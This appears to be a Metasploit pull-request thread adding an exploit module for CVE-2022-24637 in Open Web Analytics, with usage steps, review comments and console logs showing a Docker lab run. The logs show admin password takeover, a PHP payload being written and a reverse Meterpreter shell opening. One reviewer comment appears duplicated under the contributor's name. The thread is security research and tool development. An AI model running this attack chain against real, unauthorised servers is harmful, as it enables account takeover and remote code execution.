Open web analytics 1.7.3 remote code execution

[Pflegusch]

This adds an exploit for CVE-2022-24637 which is a Remote Code Execution vulnerability for Open Web Analytics for versions below 1.7.4. This exploit works because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.

Verification Steps

• Start a vulnerable instance of Open Web Analytics using docker and proceed with the installation
• Start msfconsole
• Run: use exploit/multi/http/open_web_analytics_rce
• Set RHOST, RPORT, SSL, LHOST, Password, Username and SearchLimit
• Check the target with check
• Run the exploit with run

Example

msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run

[*] Started reverse TCP handler on 172.22.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!

meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >

[github-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[Pflegusch]

@bcoles Thanks for the quick feedback, I will look into your suggestions and will update the module accordingly.

[smcintyre-r7]

If the = are included in this string, they're not getting matched by the \w. You could change that so they are included, removing the need to calculate and add them yourself on L273-L274 by changing the regex to:

/\*(\w*={0,2})/

The \w should also be updated to include the additional characters that base64 can include in the encoding such as + and / depending on the character set/flavor.

[Pflegusch]

Great catch! I updated the regex to your suggestion.

[Pflegusch]

Thanks @bcoles and @smcintyre-r7 for the review! As this is my first try of implementing a module into metasploit, I initially struggled a bit with some basics. However, I looked into your suggestions and updated the module accordingly. I tested and verified the module and if you have any other suggestions, let me know :)

[Pflegusch]

@cdelafuente-r7 I looked over your suggestions and updated the code accordingly. A few things to note:

• I removed the Directory datastore option, as this is not needed. The log_location can be retrieved without setting an absolute path and the relative one works perfectly fine. I tested this with different owa installation paths and with this change we can get rid of the Directory datastore option.
• Added the FileDropper and AutoCheck functionality and tested them both.

The rest are small code changes suggested from you. Thanks again for the code review :) If there are any more suggestions, let me know.

[cdelafuente-r7]

Thanks @Pflegusch for updating this! I just left a few minor suggestions, otherwise it looks good to me.

Just one thing I wanted to point out. Since, apparently, it is not possible to restore the admin password and the configuration to their original state, I would be inclined to used a datastore option that force the module to run in defanged mode by default. A warning message would be displayed to explain the risks and the operator would have to disable this option to execute the module. You can find an example of this here.

That said, if you think it is okay to run the exploit without warning, I'm also fine with this. It's up to you to implement this logic.

[Pflegusch]

Thanks @Pflegusch for updating this! I just left a few minor suggestions, otherwise it looks good to me.

Just one thing I wanted to point out. Since, apparently, it is not possible to restore the admin password and the configuration to their original state, I would be inclined to used a datastore option that force the module to run in defanged mode by default. A warning message would be displayed to explain the risks and the operator would have to disable this option to execute the module. You can find an example of this here.

That said, if you think it is okay to run the exploit without warning, I'm also fine with this. It's up to you to implement this logic.

Running the exploit in a defanged mode sounds good to me, as it's probably a good idea to warn the user that running this exploit will do some irreversible changes (e.g changing the password of a user) to the target system. I will implement that logic later on. Thanks for the idea @cdelafuente-r7!

[Pflegusch]

@cdelafuente-r7 Implemented the DefangedMode datastore option. Let me know what you think of it, I pretty much just went with the example on this one :)

[cdelafuente-r7]

Thank you @Pflegusch! Everything looks good to me now. I tested using Docker and it works great. I'll go ahead and land it. Thanks again for your contribution.

Example Output

msf6 exploit(multi/http/open_web_analytics_rce) > run verbose=true rhosts=127.0.0.1 lhost=192.168.100.1

[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[-] Exploit aborted due to failure: bad-config:

Are you SURE you want to execute the exploit against the target system?
Running this exploit will change user passwords and config files of the
target system.

Disable the DefangedMode option if you have authorization to proceed.

[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/open_web_analytics_rce) > run verbose=true rhosts=127.0.0.1 lhost=192.168.100.1 defangedmode=false

[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 30195fabe06b993505d7aa74d9477c95
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 192.168.100.1
[+] Deleted 0t9lnvec.php
[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.1:60778) at 2023-03-17 10:09:28 +0100
[+] Triggering payload! Check your listener!

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : d35161c07b73
OS          : Linux d35161c07b73 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64
Meterpreter : php/linux

[cdelafuente-r7]

Release Notes

This adds an exploit module for CVE-2022-24637, a single/double quote confusion vulnerability in Open Web Analytics versions below 1.7.4. This leads to the disclosure of sensitive information in an automatically generated PHP cache file, which can be leveraged to gain admin privileges and remote code execution.